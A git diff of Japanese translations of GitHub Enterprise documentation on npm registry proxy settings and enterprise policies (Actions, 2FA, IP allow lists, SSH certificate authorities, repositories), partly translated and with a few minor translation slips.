+{% data variables.product.prodname_registry %} は、`registry.npmjs.com` の公式 npm レジストリに接続するネットワークトラフィックに透過プロキシを使用します。 プロキシはデフォルトで有効になっており、無効にすることはできません。
 
-To allow network connections to the npm registry, you will need to configure network ACLs that allow {% data variables.product.prodname_ghe_server %} to send HTTPS traffic to `registry.npmjs.com`  over port 443:
+npm レジストリへのネットワーク接続を許可するには、{% data variables.product.prodname_ghe_server %} がポート 443 を介して `registry.npmjs.com` に HTTPS トラフィックを送信できるようにするネットワーク ACL を設定する必要があります。
 
-| Source | Destination | Port | Type |
-|---|---|---|---|
+| 資料                                                 | 宛先                   | ポート     | 種類    |
+| -------------------------------------------------- | -------------------- | ------- | ----- |
 | {% data variables.product.prodname_ghe_server %} | `registry.npmjs.com` | TCP/443 | HTTPS |
 
-Note that connections to `registry.npmjs.com` traverse through the Cloudflare network, and subsequently do not connect to a single static IP address; instead, a connection is made to an IP address within the CIDR ranges listed here: https://www.cloudflare.com/ips/.
+`registry.npmjs.com` への接続は、Cloudflare ネットワークを通過した後、単一の静的 IP アドレスに接続しませんので、ご注意ください。代わりに、https://www.cloudflare.com/ips/ にリストされている CIDR 範囲内の IP アドレスに接続されます。
 
 If you wish to enable npm upstream sources, select `Enabled` for `npm upstreaming`.
 
 {% endif %}
 
-## Next steps
+## 次のステップ
 
-As a next step, we recommend you check if you need to update or upload a TLS certificate for your packages host URL. For more information, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
+次のステップとして、パッケージのホスト URL の TLS 証明書を更新またはアップロードする必要があるかどうかを確認することをお勧めします。 詳しい情報については、「[Enterprise 向けの GitHub Packages を使ってみる](/admin/packages/getting-started-with-github-packages-for-your-enterprise)」を参照してください。
diff --git a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
index 889ee49ed7..9bb125101b 100644
--- a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
@@ -24,7 +24,7 @@ shortTitle: Advanced Security policies
 
 ## About policies for {% data variables.product.prodname_GH_advanced_security %} in your enterprise
 
-{% data reusables.advanced-security.ghas-helps-developers %} For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
+{% data reusables.advanced-security.ghas-helps-developers %} 詳しい情報については、「[{% data variables.product.prodname_GH_advanced_security %} について](/get-started/learning-about-github/about-github-advanced-security)」を参照してください。
 
 {% ifversion ghes or ghec %}If you purchase a license for {% data variables.product.prodname_GH_advanced_security %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_advanced_security %} features. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_advanced_security %}.
 
diff --git a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
index 3756eb9670..ecefa92ef2 100644
--- a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing policies for dependency insights in your enterprise
 intro: 'You can enforce policies for dependency insights within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for dependency insights in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-a-policy-on-dependency-insights
   - /articles/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
@@ -22,16 +21,14 @@ shortTitle: Policies for dependency insights
 
 ## About policies for dependency insights in your enterprise
 
-Dependency insights show all packages that repositories within your enterprise's organizations depend on. Dependency insights include aggregated information about security advisories and licenses. For more information, see "[Viewing insights for your organization](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)."
+Dependency insights show all packages that repositories within your enterprise's organizations depend on. Dependency insights include aggregated information about security advisories and licenses. 詳細は「[Organization のインサイトを表示する](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)」を参照してください。
 
 ## Enforcing a policy for visibility of dependency insights
 
-Across all organizations owned by your enterprise, you can control whether organization members can view dependency insights. You can also allow owners to administer the setting on the organization level. For more information, see "[Changing the visibility of your organization's dependency insights](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)."
+Across all organizations owned by your enterprise, you can control whether organization members can view dependency insights. You can also allow owners to administer the setting on the organization level. 詳細は「[Organization dependency insights の可視性を変更する](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)」を参照してください。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. In the left sidebar, click **Organizations**.
-  ![Organizations tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-policies-org-tab.png)
-4. Under "Organization policies", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Organization policies", use the drop-down menu and choose a policy.
-  ![Drop-down menu with organization policies options](/assets/images/help/business-accounts/organization-policy-drop-down.png)
+3. In the left sidebar, click **Organizations**. ![Organizations tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-policies-org-tab.png)
+4. [Organization projects] で、設定変更についての情報を確認します。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. [Organization policies] で、ドロップダウンメニューを使用してポリシーを選択します。 ![Organization ポリシーオプションのドロップダウンメニュー](/assets/images/help/business-accounts/organization-policy-drop-down.png)
diff --git a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
index 246bc09758..1e636d370e 100644
--- a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
@@ -35,13 +35,13 @@ shortTitle: GitHub Actions policies
 
 ## Enforcing a policy to restrict the use of actions in your enterprise
 
-You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions, so that people can only use local actions that exist in your enterprise.
+Enterprise 内のすべての Organization に対して {% data variables.product.prodname_actions %} を無効化するか、特定の Organization のみを許可するかを選択できます。 Enterprise にあるローカルのアクションだけ利用できるように、パブリックなアクションの利用を制限することもできます。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.actions.enterprise-actions-permissions %}
-1. Click **Save**.
+1. [**Save**] をクリックします。
 
 {% ifversion ghec or ghes or ghae %}
 
@@ -52,11 +52,11 @@ You can choose to disable {% data variables.product.prodname_actions %} for all
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
-1. Under **Policies**, select **Allow select actions** and add your required actions to the list.
+1. [**Policies**] で [**Allow select actions**] を選択し、必要なアクションをリストに追加します。
    {%- ifversion ghes > 3.0 or ghae-issue-5094 %}
-   ![Add actions to allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
+   ![許可リストにアクションを追加する](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
    {%- elsif ghae %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
+   ![許可リストにアクションを追加する](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
    {%- endif %}
 {% endif %}
 
@@ -120,8 +120,7 @@ You can set the default permissions for the `GITHUB_TOKEN` in the settings for y
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png)
-1. Click **Save** to apply the settings.
+1. [**Workflow permissions**]の下で、`GITHUB_TOKEN`にすべてのスコープに対する読み書きアクセスを持たせたいか、あるいは`contents`スコープに対する読み取りアクセスだけを持たせたいかを選択してください。 ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png)
+1. **Save（保存）**をクリックして、設定を適用してください。
 
 {% endif %}
diff --git a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
index 580c1dcf78..1e08869a76 100644
--- a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing policies for security settings in your enterprise
 intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for security settings in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/enforcing-security-settings-for-organizations-in-your-business-account
@@ -34,29 +33,27 @@ You can enforce policies to control the security settings for organizations owne
 
 Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use two-factor authentication to secure their personal accounts.
 
-Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. For more information, see "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)."
+Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. 詳細は「[2 要素認証 (2FA) でアカウントを保護する](/articles/securing-your-account-with-two-factor-authentication-2fa/)」を参照してください。
 
 {% warning %}
 
-**Warnings:**
+**警告:**
 
-- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable two-factor authentication for their personal account within three months of their removal from your organization. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
+- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. Organization のプライベートリポジトリのフォークへのアクセスも失います。 Organization から削除されてから 3 か月以内に、削除されたユーザが自分の個人アカウントで 2 要素認証を有効にすれば、そのユーザのアクセス権限および設定を復元できます。 詳しい情報については、「[Organization の以前のメンバーを回復する](/articles/reinstating-a-former-member-of-your-organization)」を参照してください。
 - Any organization owner, member, billing manager, or outside collaborator in any of the organizations owned by your enterprise who disables 2FA for their personal account after you've enabled required two-factor authentication will automatically be removed from the organization.
 - If you're the sole owner of a enterprise that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the enterprise.
 
 {% endwarning %}
 
-Before you require use of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up 2FA for their accounts. Organization owners can see if members and outside collaborators already use 2FA on each organization's People page. For more information, see "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)."
+2 要素認証の使用を義務化する前に、Organization のメンバー、外部コラボレーター、支払いマネージャーに通知をして、各自に自分のアカウントで 2 要素認証をセットアップしてもらってください。 Organization のオーナーは、メンバーと外部コラボレーターがすでに 2 要素認証を使用しているかどうかを、各 Organization の [People] ページで確認できます。 詳細は「[Organization 内のユーザが 2 要素認証を有効にしているか確認する](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)」を参照してください。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-4. Under "Two-factor authentication", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Two-factor authentication", select **Require two-factor authentication for all organizations in your business**, then click **Save**.
-  ![Checkbox to require two-factor authentication](/assets/images/help/business-accounts/require-2fa-checkbox.png)
-6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**.
-  ![Confirm two-factor enforcement box](/assets/images/help/business-accounts/confirm-require-2fa.png)
-7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable two-factor authentication before they can accept your invitation.
+4. [Two-factor authentication] で、設定変更に関する情報を確認します。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. [Two-factor authentication] で、[**Require two-factor authentication for all organizations in your business**] を選択し、[**Save**] をクリックします。 ![2 要素認証を義務化するチェックボックス](/assets/images/help/business-accounts/require-2fa-checkbox.png)
+6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**. ![2 要素の施行の確定ボックス](/assets/images/help/business-accounts/confirm-require-2fa.png)
+7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. 彼らが招待状を受け取ることができるようにするには、まず各ユーザーが 2 要素認証を有効にする必要があります。
 
 {% endif %}
 
@@ -66,7 +63,7 @@ Before you require use of two-factor authentication, we recommend notifying orga
 
 {% ifversion ghae %}
 
-You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. 詳しい情報については、「[Enterprise へのネットワークトラフィックを制限する](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)」を参照してください。
 
 {% elsif ghec %}
 
@@ -74,11 +71,11 @@ Enterprise owners can restrict access to assets owned by organizations in an ent
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
-{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} 
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %}
 
-You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+許可 IP アドレスを、Organization ごとに設定することもできます。 詳細は「[ Organization に対する許可 IP アドレスを管理する](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)」を参照してください。
 
-### Adding an allowed IP address
+### 許可 IP アドレスを追加する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -87,20 +84,19 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-### Allowing access by {% data variables.product.prodname_github_apps %}
+### {% data variables.product.prodname_github_apps %}によるアクセスの許可
 
 {% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
 
-### Enabling allowed IP addresses
+### 許可 IP アドレスを有効化する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-3. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
-4. Click **Save**.
+3. [IP allow list] で、「**Enable IP allow list**」を選択します。 ![IP アドレスを許可するチェックボックス](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. [**Save**] をクリックします。
 
-### Editing an allowed IP address
+### 許可 IP アドレスを編集する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -108,9 +104,9 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-8. Click **Update**.
+8. [**Update**] をクリックします。
 
-### Deleting an allowed IP address
+### 許可 IP アドレスを削除する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -118,7 +114,7 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-### Using {% data variables.product.prodname_actions %} with an IP allow list
+### IP許可リストで {% data variables.product.prodname_actions %} を使用する
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
 
@@ -128,9 +124,9 @@ You can also configure allowed IP addresses for an individual organization. For
 
 ## Managing SSH certificate authorities for your enterprise
 
-You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)."
+You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %}詳しい情報については、「[SSS 認証局について](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)」を参照してください。
 
-### Adding an SSH certificate authority
+### SSH 認証局を追加する
 
 {% data reusables.organizations.add-extension-to-cert %}
 
@@ -140,9 +136,9 @@ You can use a SSH certificate authorities (CA) to allow members of any organizat
 {% data reusables.organizations.new-ssh-ca %}
 {% data reusables.organizations.require-ssh-cert %}
 
-### Deleting an SSH certificate authority
+### SSH認証局を削除する
 
-Deleting a CA cannot be undone. If you want to use the same CA in the future, you'll need to upload the CA again.
+CAを削除すると、元に戻すことはできません。 同じCAを使用したくなった場合には、そのCAを再びアップロードする必要があります。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -151,7 +147,7 @@ Deleting a CA cannot be undone. If you want to use the same CA in the future, yo
 
 {% ifversion ghec or ghae %}
 
-## Further reading
+## 参考リンク
 
 - "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)"
 
diff --git a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
index 251c60ac98..752a4bf3b2 100644
--- a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing project board policies in your enterprise
 intro: 'You can enforce policies for projects within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for project boards in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account
   - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account
@@ -24,26 +23,24 @@ shortTitle: Project board policies
 
 ## About policies for project boards in your enterprise
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. For more information, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
+You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. 詳細は「[プロジェクトボードについて](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)」を参照してください。
 
-## Enforcing a policy for organization-wide project boards
+## Organization 全体のプロジェクトボードでポリシーを施行する
 
 Across all organizations owned by your enterprise, you can enable or disable organization-wide project boards, or allow owners to administer the setting on the organization level.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.projects-tab %}
-4. Under "Organization projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Organization projects", use the drop-down menu and choose a policy.
-  ![Drop-down menu with organization project board policy options](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
+4. [Organization projects] で、設定変更についての情報を読みます。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. [Organization projects] で、ドロップダウンメニューを使用してポリシーを選択します。 ![Organization プロジェクトボード ポリシー オプションのドロップダウンメニュー](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
 
-## Enforcing a policy for repository project boards
+## リポジトリのプロジェクトボードでのポリシーを施行する
 
 Across all organizations owned by your enterprise, you can enable or disable repository-level project boards, or allow owners to administer the setting on the organization level.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.projects-tab %}
-4. Under "Repository projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Repository projects", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository project board policy options](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png)
+4. [Repository projects で、設定変更についての情報を確認します。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. [Repository projects] で、ドロップダウンメニューを使用してポリシーを選択します。 ![リポジトリのプロジェクトボード ポリシー オプションのドロップダウンメニュー](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png)
diff --git a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
index be790e0250..80eb85e8f6 100644
--- a/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
@@ -1,8 +1,7 @@
 ---
-title: Enforcing repository management policies in your enterprise
+title: Enterprise でリポジトリ管理ポリシーを適用する
 intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for repository management in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance
   - /enterprise/admin/guides/user-management/preventing-users-from-changing-a-repository-s-visibility
@@ -55,9 +54,9 @@ You can enforce policies to control how members of your enterprise on {% data va
 
 ## Configuring the default visibility of new repositories
 
-Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. その Enterprise のデフォルトの可視性の設定をする際には、デフォルトで選択される可視性を選択します。 For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
 
-If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+Enterprise オーナーがメンバーによる特定のタイプのリポジトリの作成を禁止している場合、可視性設定がデフォルトでそのタイプに設定されていても、メンバーはそのタイプのリポジトリを作成できません。 詳しい情報については、「[リポジトリ作成のためのポリシーを設定する](#setting-a-policy-for-repository-creation)」を参照してください。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -66,8 +65,7 @@ If an enterprise owner disallows members from creating certain types of reposito
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-1. Under "Default repository visibility", use the drop-down menu and select a default visibility.
-  ![Drop-down menu to choose the default repository visibility for your enterprise](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
+1. "Default repository visibility（デフォルトのリポジトリの可視性）"の下で、ドロップダウンメニューを使ってデフォルトの可視性を選択してください。![Enterprise におけるデフォルトのリポジトリの可視化性を選択するためのドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
 
 {% data reusables.enterprise_installation.image-urls-viewable-warning %}
 
@@ -83,40 +81,38 @@ Across all organizations owned by your enterprise, you can set a {% ifversion gh
 4. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 5. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", use the drop-down menu and choose a policy.
   {% ifversion ghec or ghes > 3.1 or ghae %}
-  ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
+  ![リポジトリ権限ポリシーオプションのドロップダウンメニュー](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
   {% else %}
-  ![Drop-down menu with repository permissions policy options](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png)  
+  ![リポジトリ権限ポリシーオプションのドロップダウンメニュー](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png)
   {% endif %}
 
 ## Enforcing a policy for repository creation
 
-Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. If you allow members to create repositories, you can choose whether members can create any combination of public, private, and internal repositories. {% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see "[Creating an internal repository](/articles/creating-an-internal-repository)."
+Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. メンバーにリポジトリの作成を許可する場合は、パブリック、プライベート、内部の各リポジトリをどう組み合わせて作成するかを任意に選択できます。 {% data reusables.repositories.internal-repo-default %} 詳しい情報については「[内部リポジトリを作成する](/articles/creating-an-internal-repository)」を参照してください。
 
 {% data reusables.organizations.repo-creation-constants %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. [Repository creation] で、設定変更に関する情報を読みます。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 {% ifversion ghes or ghae %}
 {% data reusables.enterprise-accounts.repo-creation-policy %}
 {% data reusables.enterprise-accounts.repo-creation-types %}
 {% else %}
-6. Under "Repository creation", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository creation policies](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png)
+6. [Repository creation（リポジトリの作成）] で、ドロップダウンメニューを使用してポリシーを選択します。 ![リポジトリ作成ポリシーのドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png)
 {% endif %}
 
 ## Enforcing a policy for forking private or internal repositories
 
-Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level.
+Enterprise が所有しているすべての Organization 全体で、ユーザーにリポジトリのフォーク用にプライベートまたは内部リポジトリへのアクセスを許可したり、プライベートまたは内部リポジトリのフォークを一切禁止したり、オーナーが Organization レベルで設定を管理できるようにしたりすることができます。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
 3. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository forking", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png)
-  
+4. [Repository forking] で、ドロップダウンメニューを使用してポリシーを選択します。 ![リポジトリ フォーク ポリシー オプションのドロップダウンメニュー](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png)
+
 ## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories
 
 Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, or allow owners to administer the setting on the organization level.
